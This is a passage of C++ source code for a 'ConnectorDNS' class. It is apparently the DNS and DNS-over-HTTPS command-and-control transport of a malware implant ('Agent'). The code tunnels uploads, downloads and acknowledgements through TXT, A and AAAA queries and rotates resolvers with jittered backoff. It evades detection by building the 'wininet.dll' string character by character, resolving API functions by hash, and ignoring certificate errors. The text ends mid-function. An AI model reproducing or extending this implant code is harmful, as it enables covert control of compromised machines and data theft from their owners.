1688 lines
57 KiB
C++
1688 lines
57 KiB
C++
#include "ConnectorDNS.h"
|
|
#include "DnsCodec.h"
|
|
#include "Crypt.h"
|
|
#include "utils.h"
|
|
#include "ApiLoader.h"
|
|
#include "ProcLoader.h"
|
|
#include "Agent.h"
|
|
|
|
extern Agent* g_Agent;
|
|
|
|
static inline void WriteBE32(BYTE* dst, ULONG val) {
|
|
dst[0] = (BYTE)(val >> 24);
|
|
dst[1] = (BYTE)(val >> 16);
|
|
dst[2] = (BYTE)(val >> 8);
|
|
dst[3] = (BYTE)(val);
|
|
}
|
|
|
|
static inline ULONG ReadBE32(const BYTE* src) {
|
|
return ((ULONG)src[0] << 24) | ((ULONG)src[1] << 16) | ((ULONG)src[2] << 8) | (ULONG)src[3];
|
|
}
|
|
|
|
static inline ULONG ReadLE32(const BYTE* src) {
|
|
return (ULONG)src[0] | ((ULONG)src[1] << 8) | ((ULONG)src[2] << 16) | ((ULONG)src[3] << 24);
|
|
}
|
|
|
|
static USHORT ParseQtypeCode(const CHAR* qtypeStr) {
|
|
if (!qtypeStr || !qtypeStr[0])
|
|
return 16; // TXT default
|
|
CHAR qt[8];
|
|
memset(qt, 0, sizeof(qt));
|
|
int qi = 0;
|
|
while (qtypeStr[qi] && qi < (int)sizeof(qt) - 1) {
|
|
CHAR c = qtypeStr[qi];
|
|
if (c >= 'a' && c <= 'z')
|
|
c = (CHAR)(c - 'a' + 'A');
|
|
qt[qi++] = c;
|
|
}
|
|
qt[qi] = '\0';
|
|
if (qt[0] == 'A' && qt[1] == '\0')
|
|
return 1;
|
|
if (qt[0] == 'A' && qt[1] == 'A' && qt[2] == 'A' && qt[3] == 'A' && qt[4] == '\0')
|
|
return 28;
|
|
return 16;
|
|
}
|
|
|
|
void* ConnectorDNS::operator new(size_t sz)
|
|
{
|
|
void* p = MemAllocLocal(sz);
|
|
return p;
|
|
}
|
|
|
|
void ConnectorDNS::operator delete(void* p) noexcept
|
|
{
|
|
MemFreeLocal(&p, sizeof(ConnectorDNS));
|
|
}
|
|
|
|
ConnectorDNS::ConnectorDNS()
|
|
{
|
|
this->functions = (DNSFUNC*)ApiWin->LocalAlloc(LPTR, sizeof(DNSFUNC));
|
|
if (!this->functions)
|
|
return;
|
|
|
|
this->functions->LocalAlloc = ApiWin->LocalAlloc;
|
|
this->functions->LocalReAlloc = ApiWin->LocalReAlloc;
|
|
this->functions->LocalFree = ApiWin->LocalFree;
|
|
this->functions->WSAStartup = ApiWin->WSAStartup;
|
|
this->functions->WSACleanup = ApiWin->WSACleanup;
|
|
this->functions->socket = ApiWin->socket;
|
|
this->functions->closesocket = ApiWin->closesocket;
|
|
this->functions->sendto = ApiWin->sendto;
|
|
this->functions->recvfrom = ApiWin->recvfrom;
|
|
this->functions->select = ApiWin->select;
|
|
this->functions->gethostbyname = ApiWin->gethostbyname;
|
|
this->functions->Sleep = ApiWin->Sleep;
|
|
this->functions->GetTickCount = ApiWin->GetTickCount;
|
|
this->functions->LoadLibraryA = ApiWin->LoadLibraryA;
|
|
this->functions->GetLastError = ApiWin->GetLastError;
|
|
|
|
// Initialize DoH functions structure
|
|
this->dohFunctions = (DOHFUNC*)ApiWin->LocalAlloc(LPTR, sizeof(DOHFUNC));
|
|
}
|
|
|
|
ConnectorDNS::~ConnectorDNS()
|
|
{
|
|
CloseConnector();
|
|
if (this->dohFunctions) {
|
|
this->functions->LocalFree(this->dohFunctions);
|
|
this->dohFunctions = NULL;
|
|
}
|
|
if (this->functions) {
|
|
this->functions->LocalFree(this->functions);
|
|
this->functions = NULL;
|
|
}
|
|
}
|
|
|
|
// WSA initialization (called once)
|
|
BOOL ConnectorDNS::InitWSA()
|
|
{
|
|
if (this->wsaInitialized)
|
|
return TRUE;
|
|
|
|
if (!this->functions || !this->functions->WSAStartup)
|
|
return FALSE;
|
|
|
|
WSADATA wsaData;
|
|
if (this->functions->WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
|
|
return FALSE;
|
|
|
|
this->wsaInitialized = TRUE;
|
|
|
|
// Allocate reusable buffers
|
|
if (!this->queryBuffer)
|
|
this->queryBuffer = (BYTE*)MemAllocLocal(kQueryBufferSize);
|
|
if (!this->respBuffer)
|
|
this->respBuffer = (BYTE*)MemAllocLocal(kRespBufferSize);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
// WSA cleanup (called on close)
|
|
void ConnectorDNS::CleanupWSA()
|
|
{
|
|
if (this->cachedSocket != INVALID_SOCKET) {
|
|
this->functions->closesocket(this->cachedSocket);
|
|
this->cachedSocket = INVALID_SOCKET;
|
|
}
|
|
|
|
if (this->queryBuffer) {
|
|
MemFreeLocal((LPVOID*)&this->queryBuffer, kQueryBufferSize);
|
|
this->queryBuffer = NULL;
|
|
}
|
|
if (this->respBuffer) {
|
|
MemFreeLocal((LPVOID*)&this->respBuffer, kRespBufferSize);
|
|
this->respBuffer = NULL;
|
|
}
|
|
|
|
if (this->wsaInitialized && this->functions && this->functions->WSACleanup) {
|
|
this->functions->WSACleanup();
|
|
this->wsaInitialized = FALSE;
|
|
}
|
|
}
|
|
|
|
BOOL ConnectorDNS::InitDoH()
|
|
{
|
|
if (this->dohInitialized)
|
|
return TRUE;
|
|
|
|
if (!this->functions || !this->functions->LoadLibraryA || !this->dohFunctions)
|
|
return FALSE;
|
|
|
|
// Load wininet.dll
|
|
CHAR wininet_c[12];
|
|
wininet_c[0] = 'w';
|
|
wininet_c[1] = 'i';
|
|
wininet_c[2] = 'n';
|
|
wininet_c[3] = 'i';
|
|
wininet_c[4] = 'n';
|
|
wininet_c[5] = 'e';
|
|
wininet_c[6] = 't';
|
|
wininet_c[7] = '.';
|
|
wininet_c[8] = 'd';
|
|
wininet_c[9] = 'l';
|
|
wininet_c[10] = 'l';
|
|
wininet_c[11] = 0;
|
|
|
|
HMODULE hWininetModule = this->functions->LoadLibraryA(wininet_c);
|
|
if (!hWininetModule)
|
|
return FALSE;
|
|
|
|
this->dohFunctions->InternetOpenA = (decltype(InternetOpenA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETOPENA);
|
|
this->dohFunctions->InternetConnectA = (decltype(InternetConnectA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCONNECTA);
|
|
this->dohFunctions->HttpOpenRequestA = (decltype(HttpOpenRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPOPENREQUESTA);
|
|
this->dohFunctions->HttpSendRequestA = (decltype(HttpSendRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPSENDREQUESTA);
|
|
this->dohFunctions->InternetSetOptionA = (decltype(InternetSetOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETSETOPTIONA);
|
|
this->dohFunctions->InternetQueryOptionA = (decltype(InternetQueryOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYOPTIONA);
|
|
this->dohFunctions->HttpQueryInfoA = (decltype(HttpQueryInfoA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPQUERYINFOA);
|
|
this->dohFunctions->InternetQueryDataAvailable = (decltype(InternetQueryDataAvailable)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYDATAAVAILABLE);
|
|
this->dohFunctions->InternetCloseHandle = (decltype(InternetCloseHandle)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCLOSEHANDLE);
|
|
this->dohFunctions->InternetReadFile = (decltype(InternetReadFile)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETREADFILE);
|
|
|
|
if (!this->dohFunctions->InternetOpenA || !this->dohFunctions->HttpSendRequestA)
|
|
return FALSE;
|
|
|
|
CHAR* userAgent = (CHAR*)this->profile.user_agent;
|
|
this->hInternet = this->dohFunctions->InternetOpenA(userAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
|
|
if (!this->hInternet)
|
|
return FALSE;
|
|
|
|
this->dohInitialized = TRUE;
|
|
return TRUE;
|
|
}
|
|
|
|
void ConnectorDNS::CleanupDoH()
|
|
{
|
|
if (this->hInternet && this->dohFunctions && this->dohFunctions->InternetCloseHandle) {
|
|
this->dohFunctions->InternetCloseHandle(this->hInternet);
|
|
this->hInternet = NULL;
|
|
}
|
|
this->dohInitialized = FALSE;
|
|
}
|
|
|
|
void ConnectorDNS::ParseDohResolvers(const CHAR* dohResolvers)
|
|
{
|
|
this->dohResolverCount = 0;
|
|
memset(this->dohResolverList, 0, sizeof(this->dohResolverList));
|
|
for (ULONG i = 0; i < kMaxResolvers; ++i) {
|
|
this->dohResolverFailCount[i] = 0;
|
|
this->dohResolverDisabledUntil[i] = 0;
|
|
}
|
|
|
|
if (!dohResolvers || !dohResolvers[0])
|
|
return;
|
|
|
|
// Copy to temporary buffer for parsing
|
|
CHAR tempBuf[1024];
|
|
StrLCopyA(tempBuf, dohResolvers, sizeof(tempBuf));
|
|
|
|
CHAR* p = tempBuf;
|
|
while (*p && this->dohResolverCount < kMaxResolvers) {
|
|
// Skip whitespace and separators
|
|
while (*p == ' ' || *p == '\t' || *p == ',' || *p == ';' || *p == '\r' || *p == '\n') ++p;
|
|
if (!*p) break;
|
|
|
|
// Find end of URL
|
|
CHAR* urlStart = p;
|
|
while (*p && *p != ',' && *p != ';' && *p != ' ' && *p != '\t' && *p != '\r' && *p != '\n') ++p;
|
|
CHAR savedChar = *p;
|
|
if (*p) *p = '\0';
|
|
|
|
// Parse URL: https://host/path or https://host:port/path
|
|
DohResolverInfo* info = &this->dohResolverList[this->dohResolverCount];
|
|
info->port = 443; // Default HTTPS port
|
|
|
|
CHAR* hostStart = urlStart;
|
|
// Skip "https://" prefix if present
|
|
if (hostStart[0] == 'h' && hostStart[1] == 't' && hostStart[2] == 't' && hostStart[3] == 'p') {
|
|
hostStart += 4;
|
|
if (*hostStart == 's') hostStart++;
|
|
if (hostStart[0] == ':' && hostStart[1] == '/' && hostStart[2] == '/') {
|
|
hostStart += 3;
|
|
}
|
|
}
|
|
|
|
// Find path separator
|
|
CHAR* pathStart = hostStart;
|
|
while (*pathStart && *pathStart != '/' && *pathStart != ':') ++pathStart;
|
|
|
|
// Check for port
|
|
if (*pathStart == ':') {
|
|
*pathStart = '\0';
|
|
StrLCopyA(info->host, hostStart, sizeof(info->host));
|
|
pathStart++;
|
|
info->port = 0;
|
|
while (*pathStart >= '0' && *pathStart <= '9') {
|
|
info->port = info->port * 10 + (*pathStart - '0');
|
|
pathStart++;
|
|
}
|
|
if (info->port == 0)
|
|
info->port = 443;
|
|
}
|
|
else {
|
|
CHAR savedPath = *pathStart;
|
|
*pathStart = '\0';
|
|
StrLCopyA(info->host, hostStart, sizeof(info->host));
|
|
*pathStart = savedPath;
|
|
}
|
|
|
|
// Copy path (default to /dns-query)
|
|
if (*pathStart == '/')
|
|
StrLCopyA(info->path, pathStart, sizeof(info->path));
|
|
else
|
|
StrLCopyA(info->path, "/dns-query", sizeof(info->path));
|
|
|
|
if (info->host[0])
|
|
this->dohResolverCount++;
|
|
|
|
if (savedChar) {
|
|
*p = savedChar;
|
|
p++;
|
|
}
|
|
}
|
|
}
|
|
|
|
// Build DNS wire format query
|
|
BOOL ConnectorDNS::BuildDnsWireQuery(const CHAR* qname, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outLen)
|
|
{
|
|
if (!outBuf || outBufSize < 512 || !outLen)
|
|
return FALSE;
|
|
|
|
*outLen = 0;
|
|
memset(outBuf, 0, outBufSize);
|
|
|
|
// DNS header
|
|
USHORT id = (USHORT)(this->functions->GetTickCount() & 0xFFFF);
|
|
outBuf[0] = (BYTE)(id >> 8);
|
|
outBuf[1] = (BYTE)(id & 0xFF);
|
|
outBuf[2] = 0x01; // RD flag
|
|
outBuf[3] = 0x00;
|
|
outBuf[4] = 0x00;
|
|
outBuf[5] = 0x01; // QDCOUNT = 1
|
|
|
|
ULONG offset = 12;
|
|
|
|
// Encode query name
|
|
int nameLen = DnsCodec::EncodeName(qname, outBuf + offset, outBufSize - offset - 4);
|
|
if (nameLen < 0)
|
|
return FALSE;
|
|
offset += nameLen;
|
|
|
|
USHORT qtypeCode = ParseQtypeCode(qtypeStr);
|
|
|
|
outBuf[offset++] = (BYTE)(qtypeCode >> 8);
|
|
outBuf[offset++] = (BYTE)(qtypeCode & 0xFF);
|
|
outBuf[offset++] = 0x00;
|
|
outBuf[offset++] = 0x01; // IN class
|
|
|
|
*outLen = offset;
|
|
return TRUE;
|
|
}
|
|
|
|
// Parse DNS wire format response (reuse logic from QuerySingle)
|
|
BOOL ConnectorDNS::ParseDnsWireResponse(BYTE* response, ULONG respLen, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize)
|
|
{
|
|
*outSize = 0;
|
|
if (!response || respLen <= 12 || !outBuf)
|
|
return FALSE;
|
|
|
|
USHORT qtypeCode = ParseQtypeCode(qtypeStr);
|
|
|
|
// Parse DNS response
|
|
int qdcount = (response[4] << 8) | response[5];
|
|
int ancount = (response[6] << 8) | response[7];
|
|
int pos = 12;
|
|
|
|
// Skip questions
|
|
for (int qi = 0; qi < qdcount; ++qi) {
|
|
while (pos < (int)respLen && response[pos] != 0) {
|
|
if ((response[pos] & 0xC0) == 0xC0) {
|
|
pos += 2;
|
|
break;
|
|
}
|
|
pos += response[pos] + 1;
|
|
}
|
|
pos++;
|
|
pos += 4;
|
|
}
|
|
|
|
// Parse answers
|
|
ULONG written = 0;
|
|
for (int ai = 0; ai < ancount; ++ai) {
|
|
if (pos + 12 > (int)respLen)
|
|
return FALSE;
|
|
if ((response[pos] & 0xC0) == 0xC0)
|
|
pos += 2;
|
|
else {
|
|
while (pos < (int)respLen && response[pos] != 0) {
|
|
pos += response[pos] + 1;
|
|
}
|
|
pos++;
|
|
}
|
|
USHORT type = (response[pos] << 8) | response[pos + 1];
|
|
pos += 2;
|
|
pos += 2; // class
|
|
pos += 4; // TTL
|
|
USHORT rdlen = (response[pos] << 8) | response[pos + 1];
|
|
pos += 2;
|
|
if (pos + rdlen > (int)respLen)
|
|
return FALSE;
|
|
|
|
if (qtypeCode == 16 && type == 16 && rdlen > 0) {
|
|
// TXT record
|
|
USHORT consumed = 0;
|
|
ULONG txtWritten = 0;
|
|
while (consumed < rdlen) {
|
|
if (pos + consumed >= (int)respLen)
|
|
break;
|
|
BYTE txtLen = response[pos + consumed];
|
|
consumed++;
|
|
if (consumed + txtLen > rdlen)
|
|
break;
|
|
if (txtLen > 0 && txtWritten + txtLen <= outBufSize) {
|
|
memcpy(outBuf + txtWritten, response + pos + consumed, txtLen);
|
|
txtWritten += txtLen;
|
|
}
|
|
consumed += txtLen;
|
|
}
|
|
if (txtWritten > 0) {
|
|
*outSize = txtWritten;
|
|
return TRUE;
|
|
}
|
|
}
|
|
else if (qtypeCode == 1 && type == 1 && rdlen >= 4) {
|
|
// A record
|
|
if (written + 4 <= outBufSize) {
|
|
memcpy(outBuf + written, response + pos, 4);
|
|
written += 4;
|
|
}
|
|
}
|
|
else if (qtypeCode == 28 && type == 28 && rdlen >= 16) {
|
|
// AAAA record
|
|
if (written + 16 <= outBufSize) {
|
|
memcpy(outBuf + written, response + pos, 16);
|
|
written += 16;
|
|
}
|
|
}
|
|
pos += rdlen;
|
|
}
|
|
|
|
if ((qtypeCode == 1 || qtypeCode == 28) && written > 0) {
|
|
*outSize = written;
|
|
return TRUE;
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
// Single DoH query via HTTPS POST
|
|
BOOL ConnectorDNS::QueryDoH(const CHAR* qname, const DohResolverInfo* resolver, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize)
|
|
{
|
|
*outSize = 0;
|
|
if (!this->dohInitialized && !InitDoH())
|
|
return FALSE;
|
|
|
|
if (!resolver || !resolver->host[0] || !this->dohFunctions)
|
|
return FALSE;
|
|
|
|
// Build DNS wire format query
|
|
BYTE dnsQuery[512];
|
|
ULONG queryLen = 0;
|
|
if (!BuildDnsWireQuery(qname, qtypeStr, dnsQuery, sizeof(dnsQuery), &queryLen))
|
|
return FALSE;
|
|
|
|
// Connect to DoH server
|
|
HINTERNET hConnect = this->dohFunctions->InternetConnectA( this->hInternet, resolver->host, resolver->port, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );
|
|
if (!hConnect)
|
|
return FALSE;
|
|
|
|
// Open POST request
|
|
CHAR acceptTypes[] = "application/dns-message";
|
|
LPCSTR rgpszAcceptTypes[] = { acceptTypes, NULL };
|
|
DWORD flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_UI | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_SECURE;
|
|
|
|
HINTERNET hRequest = this->dohFunctions->HttpOpenRequestA( hConnect, "POST", resolver->path, NULL, NULL, rgpszAcceptTypes, flags, 0 );
|
|
if (!hRequest) {
|
|
this->dohFunctions->InternetCloseHandle(hConnect);
|
|
return FALSE;
|
|
}
|
|
|
|
// Set security flags to ignore certificate errors (like in ConnectorHTTP)
|
|
DWORD dwFlags;
|
|
DWORD dwBuffer = sizeof(DWORD);
|
|
if (this->dohFunctions->InternetQueryOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, &dwBuffer)) {
|
|
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | INTERNET_FLAG_IGNORE_CERT_CN_INVALID;
|
|
this->dohFunctions->InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));
|
|
}
|
|
|
|
// Set Content-Type header for DoH
|
|
CHAR headers[] = "Content-Type: application/dns-message\r\nAccept: application/dns-message\r\n";
|
|
|
|
// Send request with DNS query as body
|
|
BOOL sendOk = this->dohFunctions->HttpSendRequestA( hRequest, headers, (DWORD)-1, (LPVOID)dnsQuery, queryLen );
|
|
BOOL result = FALSE;
|
|
if (sendOk) {
|
|
// Check status code
|
|
CHAR statusCode[32];
|
|
DWORD statusCodeLen = sizeof(statusCode);
|
|
if (this->dohFunctions->HttpQueryInfoA(hRequest, HTTP_QUERY_STATUS_CODE, statusCode, &statusCodeLen, 0)) {
|
|
int status = 0;
|
|
for (int i = 0; statusCode[i] >= '0' && statusCode[i] <= '9'; i++) {
|
|
status = status * 10 + (statusCode[i] - '0');
|
|
}
|
|
|
|
if (status == 200) {
|
|
// Read response
|
|
BYTE respBuf[4096];
|
|
DWORD totalRead = 0;
|
|
DWORD bytesRead = 0;
|
|
DWORD bytesAvailable = 0;
|
|
|
|
while (this->dohFunctions->InternetQueryDataAvailable(hRequest, &bytesAvailable, 0, 0) && bytesAvailable > 0) {
|
|
if (totalRead + bytesAvailable > sizeof(respBuf))
|
|
bytesAvailable = sizeof(respBuf) - totalRead;
|
|
if (bytesAvailable == 0)
|
|
break;
|
|
|
|
if (this->dohFunctions->InternetReadFile(hRequest, respBuf + totalRead, bytesAvailable, &bytesRead)) {
|
|
totalRead += bytesRead;
|
|
if (bytesRead == 0)
|
|
break;
|
|
}
|
|
else {
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Parse DNS response
|
|
if (totalRead > 12) {
|
|
result = ParseDnsWireResponse(respBuf, totalRead, qtypeStr, outBuf, outBufSize, outSize);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
this->dohFunctions->InternetCloseHandle(hRequest);
|
|
this->dohFunctions->InternetCloseHandle(hConnect);
|
|
|
|
return result;
|
|
}
|
|
|
|
BOOL ConnectorDNS::QueryDoHWithRotation(const CHAR* qname, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize)
|
|
{
|
|
*outSize = 0;
|
|
|
|
if (this->dohResolverCount == 0)
|
|
return FALSE;
|
|
|
|
for (ULONG i = 0; i < this->dohResolverCount; ++i) {
|
|
ULONG idx = (this->currentDohResolverIndex + i) % this->dohResolverCount;
|
|
DohResolverInfo* resolver = &this->dohResolverList[idx];
|
|
if (!resolver->host[0]) continue;
|
|
|
|
ULONG nowTick = this->functions->GetTickCount();
|
|
if (this->dohResolverDisabledUntil[idx] && nowTick < this->dohResolverDisabledUntil[idx])
|
|
continue;
|
|
|
|
if (QueryDoH(qname, resolver, qtypeStr, outBuf, outBufSize, outSize)) {
|
|
this->currentDohResolverIndex = idx;
|
|
this->dohResolverFailCount[idx] = 0;
|
|
this->dohResolverDisabledUntil[idx] = 0;
|
|
return TRUE;
|
|
}
|
|
|
|
this->dohResolverFailCount[idx]++;
|
|
|
|
if (this->dohResolverFailCount[idx] >= kMaxFailCount) {
|
|
ULONG backoff = 30000;
|
|
if (this->sleepDelaySeconds > 0) {
|
|
ULONG b = this->sleepDelaySeconds * 2000;
|
|
if (b < 5000) b = 5000;
|
|
if (b > 30000) b = 30000;
|
|
backoff = b;
|
|
}
|
|
ULONG currentTick = this->functions->GetTickCount();
|
|
ULONG jitter = currentTick & 0x0FFF;
|
|
this->dohResolverDisabledUntil[idx] = currentTick + backoff + jitter;
|
|
this->dohResolverFailCount[idx] = 0;
|
|
}
|
|
}
|
|
return FALSE;
|
|
}
|
|
|
|
// Get socket (reuse cached or create new)
|
|
SOCKET ConnectorDNS::GetSocket()
|
|
{
|
|
if (this->cachedSocket != INVALID_SOCKET)
|
|
return this->cachedSocket;
|
|
|
|
if (!this->functions || !this->functions->socket)
|
|
return INVALID_SOCKET;
|
|
|
|
this->cachedSocket = this->functions->socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
|
return this->cachedSocket;
|
|
}
|
|
|
|
// Release socket (keep cached unless forced close)
|
|
void ConnectorDNS::ReleaseSocket(SOCKET s, BOOL forceClose)
|
|
{
|
|
if (s == INVALID_SOCKET)
|
|
return;
|
|
|
|
if (forceClose) {
|
|
this->functions->closesocket(s);
|
|
if (s == this->cachedSocket)
|
|
this->cachedSocket = INVALID_SOCKET;
|
|
}
|
|
// If not forced, keep socket cached for reuse
|
|
}
|
|
|
|
// Private helper: Initialize DNS metadata header
|
|
void ConnectorDNS::MetaV1Init(DNS_META_V1* h)
|
|
{
|
|
if (!h)
|
|
return;
|
|
h->version = 1;
|
|
h->metaFlags = 0;
|
|
h->reserved = 0;
|
|
h->downAckOffset = 0;
|
|
}
|
|
|
|
// Private helper: Build wire sequence number
|
|
ULONG ConnectorDNS::BuildWireSeq(ULONG logicalSeq, ULONG signalBits)
|
|
{
|
|
ULONG seqCounter = logicalSeq & 0x0FFF;
|
|
ULONG sig = signalBits & 0x0F;
|
|
return (sig << 12) | seqCounter;
|
|
}
|
|
|
|
// Private helper: Parse resolver list
|
|
void ConnectorDNS::ParseResolvers(const CHAR* resolvers)
|
|
{
|
|
this->resolverCount = 0;
|
|
memset(this->rawResolvers, 0, sizeof(this->rawResolvers));
|
|
for (ULONG i = 0; i < kMaxResolvers; ++i) {
|
|
this->resolverList[i] = NULL;
|
|
this->resolverFailCount[i] = 0;
|
|
this->resolverDisabledUntil[i] = 0;
|
|
}
|
|
|
|
StrLCopyA(this->rawResolvers, resolvers, sizeof(this->rawResolvers));
|
|
CHAR* p = this->rawResolvers;
|
|
while (*p && this->resolverCount < kMaxResolvers) {
|
|
while (*p == ' ' || *p == '\t' || *p == ',' || *p == ';' || *p == '\r' || *p == '\n') ++p;
|
|
if (!*p)
|
|
break;
|
|
this->resolverList[this->resolverCount++] = p;
|
|
while (*p && *p != ',' && *p != ';' && *p != ' ' && *p != '\t' && *p != '\r' && *p != '\n') ++p;
|
|
if (*p) *p++ = '\0';
|
|
}
|
|
}
|
|
|
|
// Private helper: Build ACK data buffer
|
|
void ConnectorDNS::BuildAckData(BYTE* ackData, ULONG ackOffset, ULONG nonce, ULONG taskNonce)
|
|
{
|
|
WriteBE32(ackData, ackOffset);
|
|
WriteBE32(ackData + 4, nonce);
|
|
WriteBE32(ackData + 8, taskNonce);
|
|
}
|
|
|
|
// Private helper: Reset download state
|
|
void ConnectorDNS::ResetDownload()
|
|
{
|
|
if (this->downBuf && this->downTotal) {
|
|
MemFreeLocal((LPVOID*)&this->downBuf, this->downTotal);
|
|
}
|
|
this->downBuf = NULL;
|
|
this->downTotal = 0;
|
|
this->downFilled = 0;
|
|
this->downAckOffset = 0;
|
|
this->downTaskNonce = 0;
|
|
this->hasPendingTasks = FALSE;
|
|
}
|
|
|
|
// Reset upload state for retry
|
|
void ConnectorDNS::ResetUploadState()
|
|
{
|
|
memset(this->confirmedOffsets, 0, sizeof(this->confirmedOffsets));
|
|
this->confirmedCount = 0;
|
|
this->lastAckNextExpected = 0;
|
|
this->uploadNeedsReset = FALSE;
|
|
this->uploadStartTime = 0;
|
|
}
|
|
|
|
// Check if offset was confirmed by server
|
|
BOOL ConnectorDNS::IsOffsetConfirmed(ULONG offset)
|
|
{
|
|
for (ULONG i = 0; i < this->confirmedCount && i < kMaxTrackedOffsets; i++) {
|
|
if (this->confirmedOffsets[i] == offset)
|
|
return TRUE;
|
|
}
|
|
return FALSE;
|
|
}
|
|
|
|
// Mark offset as confirmed
|
|
void ConnectorDNS::MarkOffsetConfirmed(ULONG offset)
|
|
{
|
|
if (this->confirmedCount >= kMaxTrackedOffsets)
|
|
return;
|
|
if (!IsOffsetConfirmed(offset))
|
|
this->confirmedOffsets[this->confirmedCount++] = offset;
|
|
}
|
|
|
|
// Parse PUT ACK response from A record
|
|
// Format: [flags:1][nextExpectedOff:3 (big-endian 24-bit)]
|
|
// Flags: 0x01 = complete, 0x02 = needs_reset
|
|
BOOL ConnectorDNS::ParsePutAckResponse(BYTE* response, ULONG respLen, ULONG* outNextExpected, BOOL* outComplete, BOOL* outNeedsReset)
|
|
{
|
|
if (!response || respLen < 4)
|
|
return FALSE;
|
|
|
|
// Response should be 4 bytes (A record IP)
|
|
BYTE flags = response[0];
|
|
ULONG nextExpected = ((ULONG)response[1] << 16) | ((ULONG)response[2] << 8) | (ULONG)response[3];
|
|
|
|
if (outComplete)
|
|
*outComplete = (flags & 0x01) ? TRUE : FALSE;
|
|
if (outNeedsReset)
|
|
*outNeedsReset = (flags & 0x02) ? TRUE : FALSE;
|
|
if (outNextExpected)
|
|
*outNextExpected = nextExpected;
|
|
return TRUE;
|
|
}
|
|
|
|
// Private helper: Single DNS query
|
|
BOOL ConnectorDNS::QuerySingle(const CHAR* qname, const CHAR* resolverIP, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize)
|
|
{
|
|
*outSize = 0;
|
|
if (!this->functions || !this->functions->sendto || !this->functions->recvfrom)
|
|
return FALSE;
|
|
|
|
// Initialize WSA once (cached)
|
|
if (!InitWSA())
|
|
return FALSE;
|
|
|
|
// Get cached or new socket
|
|
SOCKET s = GetSocket();
|
|
if (s == INVALID_SOCKET)
|
|
return FALSE;
|
|
|
|
const CHAR* resolver = resolverIP;
|
|
|
|
HOSTENT* he = this->functions->gethostbyname(resolver);
|
|
if (!he || !he->h_addr_list || !he->h_addr_list[0]) {
|
|
ReleaseSocket(s, TRUE); // Force close on error
|
|
return FALSE;
|
|
}
|
|
|
|
sockaddr_in addr;
|
|
memset(&addr, 0, sizeof(addr));
|
|
addr.sin_family = AF_INET;
|
|
addr.sin_port = _htons(53);
|
|
memcpy(&addr.sin_addr, he->h_addr_list[0], he->h_length);
|
|
|
|
BYTE* query = this->queryBuffer;
|
|
ULONG queryBufSize = kQueryBufferSize;
|
|
BYTE stackQuery[4096];
|
|
if (!query) {
|
|
query = stackQuery;
|
|
queryBufSize = sizeof(stackQuery);
|
|
}
|
|
ULONG queryLen = 0;
|
|
if (!BuildDnsWireQuery(qname, qtypeStr, query, queryBufSize, &queryLen)) {
|
|
ReleaseSocket(s, TRUE);
|
|
return FALSE;
|
|
}
|
|
|
|
// Send query
|
|
int sent = this->functions->sendto(s, (const char*)query, queryLen, 0, (sockaddr*)&addr, sizeof(addr));
|
|
if (sent != (int)queryLen) {
|
|
ReleaseSocket(s, TRUE);
|
|
return FALSE;
|
|
}
|
|
|
|
// Wait for response with timeout
|
|
fd_set readfds;
|
|
readfds.fd_count = 1;
|
|
readfds.fd_array[0] = s;
|
|
timeval timeout;
|
|
timeout.tv_sec = kQueryTimeout;
|
|
timeout.tv_usec = 0;
|
|
|
|
int selResult = this->functions->select(0, &readfds, NULL, NULL, &timeout);
|
|
if (selResult <= 0) {
|
|
ReleaseSocket(s, TRUE);
|
|
return FALSE;
|
|
}
|
|
|
|
// Receive response
|
|
BYTE* resp = this->respBuffer;
|
|
ULONG respBufSize = kRespBufferSize;
|
|
BYTE stackResp[4096];
|
|
if (!resp) {
|
|
resp = stackResp;
|
|
respBufSize = sizeof(stackResp);
|
|
}
|
|
|
|
int addrLen = sizeof(addr);
|
|
int recvLen = this->functions->recvfrom(s, (char*)resp, respBufSize, 0, (sockaddr*)&addr, &addrLen);
|
|
|
|
ReleaseSocket(s, FALSE);
|
|
|
|
if (recvLen <= 12)
|
|
return FALSE;
|
|
|
|
// Parse DNS response using shared helper
|
|
return ParseDnsWireResponse(resp, (ULONG)recvLen, qtypeStr, outBuf, outBufSize, outSize);
|
|
}
|
|
|
|
BOOL ConnectorDNS::SetProfile(void* profilePtr, BYTE* beat, ULONG beatSize)
|
|
{
|
|
ProfileDNS profile = *(ProfileDNS*)profilePtr;
|
|
this->profile = profile;
|
|
this->sleepDelaySeconds = g_Agent ? g_Agent->config->sleep_delay : 0;
|
|
|
|
ParseResolvers((CHAR*)profile.resolvers);
|
|
|
|
ParseDohResolvers((CHAR*)profile.doh_resolvers);
|
|
this->dnsMode = profile.dns_mode;
|
|
|
|
if (!profile.encrypt_key)
|
|
return FALSE;
|
|
